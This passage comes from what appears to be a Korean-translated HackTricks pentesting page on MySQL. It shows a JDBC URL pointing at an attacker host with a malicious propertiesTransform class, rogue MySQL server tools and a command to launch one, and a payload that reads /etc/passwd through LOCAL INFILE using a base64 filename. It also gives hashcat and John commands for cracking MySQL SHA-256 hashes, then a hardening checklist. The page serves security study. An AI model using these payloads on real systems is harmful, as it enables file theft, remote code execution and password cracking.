jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Running Evil.class can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 โ€“ upgrade the driver or explicitly set propertiesTransform on an allow-list. (์ž์„ธํ•œ ๋‚ด์šฉ์€ Snyk write-up ์ฐธ์กฐ)

JDBC ํด๋ผ์ด์–ธํŠธ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ Rogue / Fake MySQL ์„œ๋ฒ„ ๊ณต๊ฒฉ

Several open-source tools implement a partial MySQL protocol in order to attack JDBC clients that connect outwards:

  • mysql-fake-server (Java, ํŒŒ์ผ ์ฝ๊ธฐ ๋ฐ deserialization ์ต์Šคํ”Œ๋กœ์ž‡ ์ง€์›)
  • rogue_mysql_server (Python, ์œ ์‚ฌ ๊ธฐ๋Šฅ)

Typical attack paths:

  1. Victim application loads mysql-connector-j with allowLoadLocalInfile=true or autoDeserialize=true.
  2. Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control.
  3. Malicious server responds with crafted packets that trigger either LOCAL INFILE arbitrary file read or Java deserialization โ†’ RCE.

Example one-liner to start a fake server (Java):

java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

๊ทธ๋Ÿฐ ๋‹ค์Œ ํ”ผํ•ด์ž ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true๋กœ ๊ฐ€๋ฆฌํ‚ค๊ณ , username ํ•„๋“œ์— ํŒŒ์ผ๋ช…์„ base64๋กœ ์ธ์ฝ”๋”ฉํ•˜์—ฌ /etc/passwd๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค (fileread_/etc/passwd โ†’ base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).

caching_sha2_password ํ•ด์‹œ ํฌ๋ž˜ํ‚น

MySQL โ‰ฅ 8.0์€ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ $mysql-sha2$ (SHA-256) ํ˜•์‹์œผ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. Hashcat(๋ชจ๋“œ 21100)๊ณผ John-the-Ripper (--format=mysql-sha2)๋Š” 2023๋…„๋ถ€ํ„ฐ ์˜คํ”„๋ผ์ธ ํฌ๋ž˜ํ‚น์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. authentication_string ์—ด์„ ๋คํ”„ํ•˜์—ฌ ๋ฐ”๋กœ ์ž…๋ ฅํ•˜์„ธ์š”:

# extract hashes
echo "$mysql-sha2$AABBCCโ€ฆ" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

ํ•˜๋“œ๋‹ ์ฒดํฌ๋ฆฌ์ŠคํŠธ (2025)

โ€ข ๋Œ€๋ถ€๋ถ„์˜ ํŒŒ์ผ ์ฝ๊ธฐ/์“ฐ๊ธฐ ์›์‹œ ๊ธฐ๋Šฅ์„ ์ฐจ๋‹จํ•˜๋ ค๋ฉด LOCAL_INFILE=0 ๋ฐ --secure-file-priv=/var/empty ๋ฅผ ์„ค์ •ํ•˜์„ธ์š”.
โ€ข ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ •์—์„œ FILE ๊ถŒํ•œ์„ ์ œ๊ฑฐํ•˜์„ธ์š”.
โ€ข Connector/J์—์„œ๋Š” allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (๋นˆ ๊ฐ’)์„ ์„ค์ •ํ•˜์„ธ์š”.
โ€ข ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ์ธ์ฆ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  require TLS๋ฅผ ์ ์šฉํ•˜์„ธ์š” (require_secure_transport = ON).
โ€ข CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL ๋ฐ ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด SET GLOBAL ๋ช…๋ น์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.


์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ